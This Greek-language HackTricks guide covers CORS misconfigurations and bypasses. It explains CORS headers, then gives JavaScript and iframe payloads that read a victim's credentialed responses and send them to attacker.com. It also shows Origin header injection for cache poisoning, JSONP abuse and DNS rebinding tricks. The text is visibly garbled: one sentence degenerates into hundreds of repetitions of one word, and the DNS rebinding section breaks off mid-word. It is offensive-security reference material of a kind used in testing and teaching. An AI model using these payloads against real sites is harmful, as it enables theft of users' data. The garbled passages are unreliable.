hacktricks/pentesting-web/cors-bypass.md

# CORS - Λανθασμένες ρυθμίσεις και Παράκαμψη

<details>

<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Άλλοι τρόποι υποστήριξης του HackTricks:

* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.

</details>

## Τι είναι το CORS;

Το Cross-Origin Resource Sharing (CORS) επιτρέπει στους διακομιστές να καθορίζουν ποιος μπορεί να έχει πρόσβαση στους πόρους τους και ποιες μέθοδοι αιτήσεων HTTP επιτρέπονται από εξωτερικές πηγές.

Μια πολιτική **ίδιας προέλευσης** απαιτεί από έναν **διακομιστή που ζητά** έναν πόρο και τον διακομιστή που φιλοξενεί τον **πόρο** να μοιράζονται τον ίδιο πρωτόκολλο (π.χ. `http://`), το όνομα τομέα (π.χ. `internal-web.com`) και τη **θύρα** (π.χ. 80). Με βάση αυτήν την πολιτική, μόνο ιστοσελίδες από τον ίδιο τομέα και την ίδια θύρα επιτρέπεται η πρόσβαση στους πόρους.

Η εφαρμογή της πολιτικής ίδιας προέλευσης στο πλαίσιο του `http://normal-website.com/example/example.html` απεικονίζεται ως εξής:

| Ανακτούμενη διεύθυνση URL                              | Επιτρεπόμενη πρόσβαση;                          |
| -------------------------------------------------------- | ------------------------------------------------- |
| `http://normal-website.com/example/`                     | Ναι: Ίδιο πρωτόκολλο, τομέας και θύρα                |
| `http://normal-website.com/example2/`                    | Ναι: Ίδιο πρωτόκολλο, τομέας και θύρα                |
| `https://normal-website.com/example/`                    | Όχι: Διαφορετικό πρωτόκολλο και θύρα               |
| `http://en.normal-website.com/example/`                  | Όχι: Διαφορετικός τομέας                          |
| `http://www.normal-website.com/example/`                 | Όχι: Διαφορετικός τομέας                          |
| `http://normal-website.com:8080/example/`                | Όχι: Διαφορετική θύρα*                            |

*Ο Internet Explorer αγνοεί τον αριθμό θύρας κατά την επιβολή της πολιτικής ίδιας προέλευσης, επιτρέποντας έτσι αυτήν την πρόσβαση.

### Κεφαλίδα `Access-Control-Allow-Origin`

Αυτή η κεφαλίδα μπορεί να επιτρέψει **πολλαπλές προέλευσεις**, μια τιμή **`null`**, ή έναν χαρακτήρα αντιστοίχισης **`*`**. Ωστόσο, **κανένας περιηγητής δεν υποστηρίζει πολλαπλές προέλευσεις**, και η χρήση του χαρακτήρα αντιστοίχισης `*` υπόκειται σε **περιορισμούς**. (Ο χαρακτήρας αντιστοίχισης πρέπει να χρησιμοποιείται μόνος του, και η χρήση του μαζί με το `Access-Control-Allow-Credentials: true` δεν επιτρέπεται.)

Αυτή η κεφαλίδα **εκδίδεται από έναν διακομιστή** ως απόκριση σε μια αίτηση πόρου διασυνοριακής προέλευσης που ξεκινά από μια ιστοσελίδα, με τον περιηγητή να προσθέτει αυτόματα μια κεφαλίδα `Origin`.

### Κεφαλίδα `Access-Control-Allow-Credentials`

Από προεπιλογή, οι διασυνοριακές αιτήσεις γίνονται χωρίς διαπιστευτήρια όπως τα cookies ή η κεφαλίδα Authorization. Ωστόσο, ένας διακομιστής διασυνοριακής προέλευσης μπορεί να επιτρέψει την ανάγνωση της απόκρισης όταν αποστέλλονται διαπιστευτήρια, ορίζοντας την κεφαλίδα `Access-Control-Allow-Credentials` σε **`true`**.

Εάν οριστεί σε `true`, ο περιηγητής θα μεταδώσει διαπιστευτήρια (cookies, κεφαλίδες εξουσιοδότησης ή πιστοποιητικά πελάτη TLS).
```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
```

```javascript
fetch(url, {
credentials: 'include'
})
```

```javascript
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');
```
### CSRF Προεπιλεγμένο αίτημα

### Κατανόηση των προεπιλεγμένων αιτημάτων στην επικοινωνία μεταξύ περιοχών

Όταν πραγματοποιείται ένα αίτημα μεταξύ περιοχών υπό συγκεκριμένες συνθήκες, όπως η χρήση ενός **μη προτυποποιημένου HTTP μεθόδου** (οποιαδήποτε άλλη εκτός από HEAD, GET, POST), η εισαγωγή νέων **κεφαλίδων** ή η χρήση μιας ειδικής τιμής για την **κεφαλίδα Content-Type**, μπορεί να απαιτηθεί ένα προεπιλεγμένο αίτημα. Αυτό το προκαταρκτικό αίτημα, με τη χρήση της μεθόδου **`OPTIONS`**, ενημερώνει τον διακομιστή για τις προθέσεις του επερχόμενου αιτήματος μεταξύ περιοχών, συμπεριλαμβανομένων των μεθόδων HTTP και των κεφαλίδων που πρόκειται να χρησιμοποιηθούν.

Το πρωτόκολλο **Cross-Origin Resource Sharing (CORS)** απαιτεί αυτόν τον έλεγχο προεπιλογής για να καθορίσει την εφικτότητα της αιτούμενης λειτουργίας μεταξύ περιοχών ελέγχοντας τις επιτρεπόμενες μεθόδους, τις κεφαλίδες και την αξιοπιστία της προέλευσης. Για μια λεπτομερή κατανόηση των συνθηκών που αποφεύγουν την ανάγκη για προεπιλεγμένο αίτημα, ανατρέξτε στον εκτενή οδηγό που παρέχεται από το [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests).

Είναι σημαντικό να σημειωθεί ότι η **απουσία ενός προεπιλεγμένου αιτήματος δεν αναιρεί την απαίτηση για τις κεφαλίδες εξουσιοδότησης** στην απάντηση. Χωρίς αυτές τις κεφαλίδες, ο περιηγητής είναι ανίκανος να επεξεργαστεί την απάντηση από το αίτημα μεταξύ περιοχών.

Λάβετε υπόψη το παρακάτω παράδειγμα ενός προεπιλεγμένου αιτήματος που στοχεύει στη χρήση της μεθόδου `PUT` μαζί με μια προσαρμοσμένη κεφαλίδα με το όνομα `Special-Request-Header`:
```
OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization
```
Ως απάντηση, ο διακομιστής μπορεί να επιστρέψει κεφαλίδες που υποδεικνύουν τις αποδεκτές μεθόδους, την επιτρεπόμενη προέλευση και άλλες λεπτομέρειες πολιτικής CORS, όπως φαίνεται παρακάτω:
```markdown
HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
```
- **`Access-Control-Allow-Headers`**: Αυτή η κεφαλίδα καθορίζει ποιες κεφαλίδες μπορούν να χρησιμοποιηθούν κατά τη διάρκεια του πραγματικού αιτήματος. Το διακομιστής το ορίζει για να υποδείξει τις επιτρεπόμενες κεφαλίδες στα αιτήματα από τον πελάτη.
- **`Access-Control-Expose-Headers`**: Μέσω αυτής της κεφαλίδας, ο διακομιστής ενημερώνει τον πελάτη για τις κεφαλίδες που μπορούν να εκτεθούν ως μέρος της απόκρισης εκτός από τις απλές κεφαλίδες απόκρισης.
- **`Access-Control-Max-Age`**: Αυτή η κεφαλίδα υποδεικνύει πόσο καιρό μπορούν να αποθηκευτούν τα αποτελέσματα ενός προ-πτήσης αιτήματος στην προσωρινή μνήμη. Ο διακομιστής ορίζει το μέγιστο χρόνο, σε δευτερόλεπτα, που οι πληροφορίες που επιστρέφονται από ένα προ-πτήσης αίτημα μπορούν να χρησιμοποιηθούν ξανά.
- **`Access-Control-Request-Headers`**: Χρησιμοποιείται σε προ-πτήσης αιτήματα, αυτή η κεφαλίδα ορίζεται από τον πελάτη για να ενημερώσει τον διακομιστή για τις κεφαλίδες HTTP που ο πελάτης θέλει να χρησιμοποιήσει στο πραγματικό αίτημα.
- **`Access-Control-Request-Method`**: Αυτή η κεφαλίδα, που χρησιμοποιείται επίσης σε προ-πτήσης αιτήματα, ορίζεται από τον πελάτη για να υποδείξει ποια μέθοδος HTTP θα χρησιμοποιηθεί στο πραγματικό αίτημα.
- **`Origin`**: Αυτή η κεφαλίδα ορίζεται αυτόματα από τον περιηγητή και υποδεικνύει την προέλευση του αιτήματος διασύνδεσης προέλευσης. Χρησιμοποιείται από τον διακομιστή για να αξιολογήσει εάν το εισερχόμενο αίτημα πρέπει να επιτραπεί ή να απορριφθεί βάσει της πολιτικής CORS.

Σημειώστε ότι συνήθως (ανάλογα με τον τύπο περιεχομένου και τις κεφαλίδες που ορίζονται) σε ένα αίτημα **GET/POST δεν αποστέλλεται προ-πτήσης αίτημα** (το αίτημα αποστέλλεται **απευθείας**), αλλά αν θέλετε να έχετε πρόσβαση στις **κεφαλίδες/σώμα της απόκρισης**, πρέπει να περιέχει μια κεφαλίδα _Access-Control-Allow-Origin_ που το επιτρέπει.\
**Επομένως, η CORS δεν προστατεύει από CSRF (αλλά μπορεί να είναι χρήσιμη).**

### **Προ-πτήσης αίτηματα τοπικού δικτύου**

1. **`Access-Control-Request-Local-Network`**: Αυτή η κεφαλίδα περιλαμβάνεται στο αίτημα του πελάτη για να υποδείξει ότι το αίτημα απευθύνεται σε ένα τοπικό δίκτυο. Λειτουργεί ως δείκτης για να ενημερώσει τον διακομιστή ότι το αίτημα προέρχεται από το εσωτερικό του τοπικού δικτύου.

2. **`Access-Control-Allow-Local-Network`**: Ως απάντηση, οι διακομιστές χρησιμοποιούν αυτήν την κεφαλίδα για να επικοινωνήσουν ότι ο προτεινόμενος πόρος επιτρέπεται να κοινοποιηθεί με οντότητες εκτός του τοπικού δικτύου. Λειτουργεί ως πράσινο φως για την κοινοποίηση πόρων σε διάφορα όρια δικτύου, εξασφαλίζοντας ελεγχόμενη πρόσβαση διατηρώντας τους πρωτόκολλα ασφαλείας.

Μια **έγκυρη απόκριση που επιτρέπει το αίτημα του τοπικού δικτύου** πρέπει να έχει επίσης στην απόκριση την κεφαλίδα `Access-Controls-Allow-Local_network: true` :
```
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...
```
{% hint style="warning" %}
Σημειώστε ότι η διεύθυνση IP **0.0.0.0** στο Linux λειτουργεί για να **παρακάμψει** αυτές τις απαιτήσεις για πρόσβαση στον τοπικό υπολογιστή, καθώς αυτή η διεύθυνση IP δεν θεωρείται "τοπική".

Είναι επίσης δυνατόν να **παρακαμφθούν οι απαιτήσεις του τοπικού δικτύου** εάν χρησιμοποιείτε τη **δημόσια διεύθυνση IP ενός τοπικού σημείου πρόσβασης** (όπως η δημόσια διεύθυνση IP του δρομολογητή). Επειδή σε πολλές περιπτώσεις, ακόμα κι αν η **δημόσια IP** προσπελαύνεται, εάν είναι **από το τοπικό δίκτυο**, θα γίνει πρόσβαση.


{% endhint %}

## Ευπάθειες που μπορούν να εκμεταλλευτούν

Έχει παρατηρηθεί ότι η ρύθμιση του `Access-Control-Allow-Credentials` σε **`true`** είναι μια προϋπόθεση για τις περισσότερες **πραγματικές επιθέσεις**. Αυτή η ρύθμιση επιτρέπει στον περιηγητή να στείλει διαπιστευτήρια και να διαβάσει την απόκριση, βελτιώνοντας την αποτελεσματικότητα της επίθεσης. Χωρίς αυτό, η χρησιμοποίηση του περιηγητή για να εκδώσει ένα αίτημα αντί να το κάνει κανείς ο ίδιος χάνει το πλεονέκτημα, καθώς η εκμετάλλευση των cookies ενός χρήστη γίνεται αδύνατη.

### Εξαίρεση: Εκμετάλλευση της τοποθεσίας του δικτύου ως αυθεντικοποίηση

Υπάρχει μια εξαίρεση όπου η τοποθεσία του δικτύου του θύματος λειτουργεί ως μορφή αυθεντικοποίησης. Αυτό επιτρέπει τη χρήση του περιηγητή του θύματος ως ένα είδος διαμεσολαβητή, παρακάμπτοντας την αυθεντικοποίηση βάσει IP για πρόσβαση σε εφαρμογές εντός του εταιρικού δικτύου. Αυτή η μέθοδος έχει ομοιότητες με την ανακατεύθυνση DNS, αλλά είναι πιο απλή στην εκμετάλλευσή της.

### Αντανάκλαση του `Origin` στο `Access-Control-Allow-Origin`

Η πραγματική περίπτωση όπου η τιμή του κεφαλίδας `Origin` αντανακλάται στο `Access-Control-Allow-Origin` είναι θεωρητικά απίθανη λόγω των περιορισμών στον συνδυασμό αυτών των κεφαλίδων. Ωστόσο, οι προγραμματιστές που επιθυμούν να ενεργοποιήσουν το CORS για πολλές διευθύνσεις URL μπορεί να δημιουργήσουν δυναμικά την κεφαλίδα `Access-Control-Allow-Origin` αντιγράφοντας την τιμή της κεφαλίδας `Origin`. Αυτή η προσέγγιση μπορεί να εισάγει ευπάθειες, ειδικά όταν ένας επιτιθέμενος χρησιμοποιεί έναν τομέα με ένα όνομα που σχεδιάστηκε να φαίνεται νόμιμο, παραπλανώντας έτσι τη λογική επικύρωσης.
```html
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
```
### Εκμεταλλευόμενοι την προέλευση `null`

Η προέλευση `null`, που καθορίζεται για καταστάσεις όπως ανακατευθύνσεις ή τοπικά αρχεία HTML, κατέχει μια μοναδική θέση. Ορισμένες εφαρμογές προσθέτουν αυτήν την προέλευση στη λευκή λίστα για να διευκολύνουν την τοπική ανάπτυξη, επιτρέποντας κατά λάθος σε οποιαδήποτε ιστοσελίδα να προσομοιώσει μια προέλευση `null` μέσω ενός iframe που έχει τεθεί σε αμμοδοχείο, παρακάμπτοντας έτσι τους περιορισμούς του CORS.
```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
```

```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
```
### Τεχνικές Παράκαμψης Κανονικών Εκφράσεων

Όταν αντιμετωπίζετε μια λευκή λίστα τομέων, είναι κρίσιμο να ελέγξετε τις ευκαιρίες παράκαμψης, όπως την προσθήκη του τομέα του επιτιθέμενου σε έναν λευκού χρώματος τομέα ή την εκμετάλλευση ευπαθειών κατάληψης υποτομέων. Επιπλέον, οι κανονικές εκφράσεις που χρησιμοποιούνται για τον έλεγχο της εγκυρότητας του τομέα μπορεί να παραβλέπουν λεπτομέρειες στις συνθήκες ονοματολογίας του τομέα, παρέχοντας περαιτέρω ευκαιρίες παράκαμψης.

### Προηγμένες Τεχνικές Παράκαμψης Κανονικών Εκφράσεων

Οι πρότυποι των κανονικών εκφράσεων συνήθως επικεντρώνονται σε αλφαριθμητικούς χαρακτήρες, τελεία (.), και παύλα (-), αγνοώντας άλλες πιθανότητες. Για παράδειγμα, ένα όνομα τομέα που δημιουργείται για να περιλαμβάνει χαρακτήρες που ερμηνεύονται διαφορετικά από τους περιηγητές και τα πρότυπα κανονικών εκφράσεων μπορεί να παρακάμψει τους ελέγχους ασφαλείας. Η χειρισμός των χαρακτήρων κάτω απόγειος σε υποτομείς από τους περιηγητές Safari, Chrome και Firefox αποτελεί παράδειγμα πώς μπορούν να εκμεταλλευτούν τέτοιες αντιφάσεις για να παρακάμψουν τη λογική επικύρωσης του τομέα.

**Για περισσότερες πληροφορίες και ρυθμίσεις αυτής της παράκαμψης ελέγξτε:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **και** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)

![https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (153).png>)

### Από XSS μέσα σε έναν υποτομέα

Οι προγραμματιστές συχνά εφαρμόζουν μηχανισμούς προστασίας για να αποτρέψουν την εκμετάλλευση του CORS με τη λευκή λίστα τομέων που επιτρέπεται να ζητήσουν πληροφορίες. Παρά τα μέτρα αυτά, η ασφάλεια του συστήματος δεν είναι αδιάβλητη. Η παρουσία ακόμα και ενός ευπαθούς υποτομέα μέσα στους λευκούς τομείς μπορεί να ανοίξει την πόρτα για την εκμετάλλευση του CORS μέσω άλλων ευπαθειών, όπως το XSS (Cross-Site Scripting).

Για να το επεξηγήσουμε, ας υποθέσουμε το σενάριο όπου ένας τομέας, `requester.com`, είναι στη λευκή λίστα για να έχει πρόσβαση σε πόρους από έναν άλλο τομέα, `provider.com`. Η διαμόρφωση στην πλευρά του διακομιστή μπορεί να μοιάζει κάπως έτσι:
```javascript
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}
```
Σε αυτή τη ρύθμιση, επιτρέπεται η πρόσβαση σε όλους τους υποτομείς του `requester.com`. Ωστόσο, αν ένας υποτομέας, όπως το `sub.requester.com`, παραβιαστεί με μια ευπάθεια XSS, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτήν την αδυναμία. Για παράδειγμα, ένας επιτιθέμενος με πρόσβαση στο `sub.requester.com` μπορεί να εκμεταλλευτεί την ευπάθεια XSS για να παρακάμψει τις πολιτικές CORS και να αποκτήσει παράνομη πρόσβαση σε πόρους στο `provider.com`.


### **Δηλητηρίαση μνήμης στην πλευρά του διακομιστή**

**[Από αυτήν την έρευνα](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)**

Είναι δυνατόν να προκληθεί μια ευπάθεια αποθήκευσης δηλητηριασμένης μνήμης στην πλευρά του διακομιστή μέσω εισαγωγής κεφαλίδων HTTP, προκαλώντας έτσι μια ευπάθεια αποθηκευμένης Cross-Site Scripting (XSS). Αυτό το σενάριο εκτυλίσσεται όταν μια εφαρμογή αποτυγχάνει να απολυμάνει την κεφαλίδα `Origin` για παράνομους χαρακτήρες, δημιουργώντας μια ευπάθεια ιδιαίτερα για τους χρήστες των προγραμμάτων περιήγησης Internet Explorer και Edge. Αυτοί οι προγράμματα περιήγησης θεωρούν το `\r` (0x0d) ως έγκυρο τερματιστή κεφαλίδας HTTP, οδηγώντας σε ευπάθειες εισαγωγής κεφαλίδων HTTP.

Λάβετε υπόψη το ακόλουθο αίτημα όπου η κεφαλίδα `Origin` παραπλανάται:
```text
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
```
Ο Internet Explorer και ο Edge ερμηνεύουν την απόκριση ως:
```text
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
```
Ενώ δεν είναι εφικτό να εκμεταλλευτείτε απευθείας αυτή την ευπάθεια κάνοντας έναν ιστό περιηγητή να στείλει ένα ακανόνιστο κεφαλίδα, μπορεί να δημιουργηθεί χειροκίνητα ένα προσαρμοσμένο αίτημα χρησιμοποιώντας εργαλεία όπως το Burp Suite. Αυτή η μέθοδος μπορεί να οδηγήσει σε αποθήκευση της απόκρισης από την πλευρά του διακομιστή και ακούσια παροχή της σε άλλους. Το προσαρμοσμένο φορτίο στοχεύει στην αλλαγή του συνόλου χαρακτήρων της σελίδας σε UTF-7, έναν τρόπο κωδικοποίησης χαρακτήρων που συχνά συνδέεται με ευπάθειες XSS λόγω της ικανότητάς του να κωδικοποιεί χαρακτήρες με έναν τρόπο που μπορεί να εκτελεστεί ως σενάριο σε συγκεκριμένα περιβάλλοντα.

Για περισσότερες πληροφορίες για ευπάθειες αποθηκευμένου XSS, δείτε [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).

**Σημείωση**: Η εκμετάλλευση ευπάθειας εισαγωγής κεφαλίδας HTTP, ιδιαίτερα μέσω δηλητηρίασης της προσωρινής μνήμης του διακομιστή, υπογραμμίζει την κρίσιμη σημασία της επικύρωσης και απολύτως της απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτω<CF84>
```html
<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>
```
## Παράκαμψη

### XSSI (Cross-Site Script Inclusion) / JSONP

Το XSSI, γνωστό επίσης ως Cross-Site Script Inclusion, είναι ένας τύπος ευπάθειας που εκμεταλλεύεται το γεγονός ότι η Same Origin Policy (SOP) δεν ισχύει όταν συμπεριλαμβάνονται πόροι χρησιμοποιώντας την ετικέτα script. Αυτό συμβαίνει επειδή τα scripts πρέπει να μπορούν να συμπεριληφθούν από διάφορους τομείς. Αυτή η ευπάθεια επιτρέπει σε έναν επιτιθέμενο να έχει πρόσβαση και να διαβάσει οποιοδήποτε περιεχόμενο περιλαμβάνεται χρησιμοποιώντας την ετικέτα script.

Αυτή η ευπάθεια γίνεται ιδιαίτερα σημαντική όταν πρόκειται για δυναμικό JavaScript ή JSONP (JSON με Padding), ειδικά όταν χρησιμοποιούνται πληροφορίες περιβάλλοντος-εξουσίας όπως τα cookies για την πιστοποίηση. Όταν ζητείται ένας πόρος από διαφορετικό κεντρικό υπολογιστή, τα cookies περιλαμβάνονται, καθιστώντας τα προσβάσιμα από τον επιτιθέμενο.

Για να κατανοήσετε καλύτερα και να αντιμετωπίσετε αυτήν την ευπάθεια, μπορείτε να χρησιμοποιήσετε το πρόσθετο BurpSuite που είναι διαθέσιμο στο [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). Αυτό το πρόσθετο μπορεί να βοηθήσει στον εντοπισμό και την αντιμετώπιση πιθανών ευπαθειών XSSI στις εφαρμογές ιστού σας.

[**Διαβάστε περισσότερα για τους διάφορους τύπους XSSI και πώς να τους εκμεταλλευτείτε εδώ.**](xssi-cross-site-script-inclusion.md)

Προσπαθήστε να προσθέσετε ένα **`callback`** **παράμετρο** στο αίτημα. Ίσως η σελίδα ήταν προετοιμασμένη να στείλει τα δεδομένα ως JSONP. Σε αυτήν την περίπτωση, η σελίδα θα στείλει πίσω τα δεδομένα με `Content-Type: application/javascript` το οποίο θα παρακάμψει την πολιτική CORS.

![](<../.gitbook/assets/image (229).png>)

### Εύκολη (άχρηστη;) παράκαμψη

Ένας τρόπος να παρακάμψετε τον περιορισμό `Access-Control-Allow-Origin` είναι να ζητήσετε από μια εφαρμογή ιστού να κάνει ένα αίτημα εκ μέρους σας και να στείλει πίσω την απόκριση. Ωστόσο, σε αυτό το σενάριο, τα διαπιστευτήρια του τελικού θύματος δεν θα αποσταλούν καθώς το αίτημα γίνεται σε διαφορετικό τομέα.

1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Αυτό το εργαλείο παρέχει έναν διακομιστή πρόσκλησης που προωθεί το αίτημά σας μαζί με τις κεφαλίδες του, ενώ παράλληλα παραπλανά την κεφαλίδα Origin για να ταιριάζει με τον ζητούμενο τομέα. Αυτό παρακάμπτει αποτελεσματικά την πολιτική CORS. Εδώ υπάρχει ένα παράδειγμα χρήσης με το XMLHttpRequest:

2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Αυτό το εργαλείο προσφέρει μια εναλλακτική προσέγγιση για την προώθηση αιτημάτων. Αντί να περνάτε το αίτημά σας ως έχει, ο διακομιστής κάνει το δικό του αίτημα με τις καθορισμένες παραμέτρους.

### Παράκαμψη με Iframe + Popup

Μπορείτε να **παρακάμψετε τους έλεγχους CORS** όπως `e.origin === window.origin` δημιουργώντας ένα iframe και από αυτό να ανοίγετε ένα νέο παράθυρο. Περισσότερες πληροφορίες στην ακόλουθη σελίδα:

{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}

### DNS Rebinding μέσω TTL

Το DNS rebinding μέσω TTL είναι μια τεχνική που χρησιμοποιείται για να παρακάμψει ορισμένα μέτρα ασφαλείας με την παραπλάνηση των εγγραφών DNS. Ακολούθως περιγράφεται πώς λειτου
### Άλλες Συνηθισμένες Παρακάμψεις

* Εάν **δεν επιτρέπονται εσωτερικές διευθύνσεις IP**, μπορεί να **ξεχάσουν να απαγορεύσουν το 0.0.0.0** (λειτουργεί σε Linux και Mac)
* Εάν **δεν επιτρέπονται εσωτερικές διευθύνσεις IP**, απαντήστε με ένα **CNAME** στο **localhost** (λειτουργεί σε Linux και Mac)
* Εάν **δεν επιτρέπονται εσωτερικές διευθύνσεις IP** ως απαντήσεις DNS, μπορείτε να απαντήσετε με **CNAMEs σε εσωτερικές υπηρεσίες** όπως το www.corporate.internal.

### Όπλο DNS Rebidding

Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με τις προηγούμενες τεχνικές παράκαμψης και πώς να χρησιμοποιήσετε το εργαλείο που ακολουθεί στην ομιλία [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ).

Το [**`Singularity of Origin`**](https://github.com/nccgroup/singularity) είναι ένα εργαλείο για να εκτελέσετε επιθέσεις [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Περιλαμβάνει τα απαραίτητα στοιχεία για να επαναδεσμεύσετε την IP διεύθυνση του ονόματος DNS του επιτιθέμενου διακομιστή στην IP διεύθυνση της στόχου μηχανής και να παρέχετε πληρωμές επίθεσης για εκμετάλλευση ευπαθούς λογισμικού στην στόχο μηχανή.

### Πραγματική Προστασία κατά του DNS Rebinding

* Χρησιμοποιήστε TLS σε εσωτερικές υπηρεσίες
* Ζητήστε πιστοποίηση για πρόσβαση στα δεδομένα
* Επαληθεύστε τον κεφαλίδα Host
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Πρόταση για πάντα να στέλνετε ένα αίτημα προεπισκόπησης όταν δημόσιοι διακομιστές θέλουν πρόσβαση σε εσωτερικούς διακομιστές

## **Εργαλεία**

**Εξερευνήστε πιθανές λανθασμένες ρυθμίσεις στις πολιτικές CORS**

* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
